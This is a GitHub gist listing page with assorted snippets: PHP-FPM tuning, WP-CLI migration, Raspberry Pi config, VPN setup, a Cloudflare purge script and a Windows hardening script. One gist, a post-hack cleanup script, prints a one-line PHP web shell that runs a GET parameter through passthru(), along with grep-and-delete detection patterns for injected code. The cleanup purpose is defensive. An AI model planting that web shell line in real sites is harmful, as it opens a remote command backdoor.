Skip to content

Instantly share code, notes, and snippets.

View skmezanul's full-sized avatar

SK Mezanul Haque skmezanul

View GitHub Profile
@chappy84
chappy84 / Dockerfile
Last active March 5, 2025 19:17
Packt Pub Downloader - Quick hacky script to download all your e-books from packtpub.com. This may not always work, they may change their api calls etc.
FROM php:cli-alpine
RUN mkdir /opt/ppd /mnt/ebooks
COPY packtPubDownloader.php /opt/ppd/
VOLUME /mnt
WORKDIR /mnt
@iamstoick
iamstoick / php.md
Created July 26, 2017 07:03
How to check an average memory usage by single PHP-FPM process
ps --no-headers -o "rss,cmd" -C php-fpm | awk '{ sum+=$1 } END { printf ("%d%s\n", sum/NR/1024,"M") }'
ps --no-headers -o "rss,cmd" -C apache2 | awk '{ sum+=$1 } END { printf ("%d%s\n", sum/NR/1024,"M") }'
<?php
require __DIR__ . '/vendor/autoload.php';
use Automattic\WooCommerce\Client;
use Automattic\WooCommerce\HttpClient\HttpClientException;
function getWoocommerceConfig()
{
$woocommerce = new Client(
@holmberd
holmberd / php-pools.md
Last active April 29, 2025 08:29
Adjusting child processes for PHP-FPM (Nginx)

Adjusting child processes for PHP-FPM (Nginx)

When setting these options consider the following:

  • How long is your average request?
  • What is the maximum number of simultaneous visitors the site(s) get?
  • How much memory on average does each child process consume?

Determine if the max_children limit has been reached.

  • sudo grep max_children /var/log/php?.?-fpm.log.1 /var/log/php?.?-fpm.log
@Niq1982
Niq1982 / wpcli-ai1wm.md
Last active February 25, 2025 15:29
Site migration using All in One WP Migration and WP CLI

Do a backup

Install the plugin

wp plugin install all-in-one-wp-migration --activate

You must reload the page once before continuing

Do the backup

@GrayJack
GrayJack / config.txt
Last active June 26, 2025 19:26
Very complete and documented config.txt file for raspberry pi
# See /boot/overlays/README for all available options
##############################################################################
## Raspberry Pi Configuration Settings
##
## Revision 18, 2018/03/05
##
## Details taken from the eLinux wiki
## For up-to-date information please refer to wiki page.
##
## Wiki Location : http://elinux.org/RPiconfig
@gushmazuko
gushmazuko / doublevpn.md
Last active May 20, 2025 16:17
Double VPN with OpenVPN

Двойной VPN на основе OpenVPN

Сначало настроим второй сервер:

Шаг 1. Установка OpenVPN

sudo apt update
sudo apt install openvpn easy-rsa
@fedir
fedir / cleaning.sh
Last active February 4, 2022 19:33
Traces of one hack and solutions for cleaning after it
find . -type f -iname '*.php' -exec sed -i 's/<?php if (isset(\$_GET\["_cmd"\])) die(passthru(\$_GET\["_cmd"\])); ?>//g' "{}" +;
find . -iname 'index.php' | xargs grep '\x2fhom' | cut -f1 -d":" | xargs rm
find . -iname '*.php' | xargs grep '\x2fh' | cut -f1 -d":" | xargs rm
find . -iname '*.php' | xargs grep 'eval("' | grep 337 | cut -f1 -d":" | xargs rm
find . -iname '*.php' | xargs grep '\{eval(' | cut -f1 -d":" | xargs rm
find . -iname '*.php' | xargs grep '$_COOKIE;' | cut -f1 -d":" | xargs rm
find . -iname '*.php' | xargs grep 'create_function'|grep base64_decode| cut -f1 -d":"| xargs rm
@patmigliaccio
patmigliaccio / purge-css-cloudflare.sh
Last active March 28, 2025 13:02
Executes cURL to purge the cache on Cloudflare for a specified set or all files (requires config)
#!/bin/sh
# Author: Pat Migliaccio <[email protected]>
# License: MIT
EMAIL="<Acct_Email>"
ZONE="<Zone_ID>"
API_KEY="<API_Key>"
DATA="{ \"files\": [\"https://example.com/css/style.css\"] }"
@ricardojba
ricardojba / windows_hardening.cmd
Last active July 9, 2025 18:23
A Windows hardening script
::##########################################################################################################################
::
:: This script can ruin your day, if you run it without fully understanding what it does, you don't know what you are doing,
::
:: OR BOTH!!!
::
:: YOU HAVE BEEN WARNED!!!!!!!!!!
::
:: This script is provided "AS IS" with no warranties, and confers no rights.
:: Feel free to challenge me, disagree with me, or tell me I'm completely nuts in the comments section,